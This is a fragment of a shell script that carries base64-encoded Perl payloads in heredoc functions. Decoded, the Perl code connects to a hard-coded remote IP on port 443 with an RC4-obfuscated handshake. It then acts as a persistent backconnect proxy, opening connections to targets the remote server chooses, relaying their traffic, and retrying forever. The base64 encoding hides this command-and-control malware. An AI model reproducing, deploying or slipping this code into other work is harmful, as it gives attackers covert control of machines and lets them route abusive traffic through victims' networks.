ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_54() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTQnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
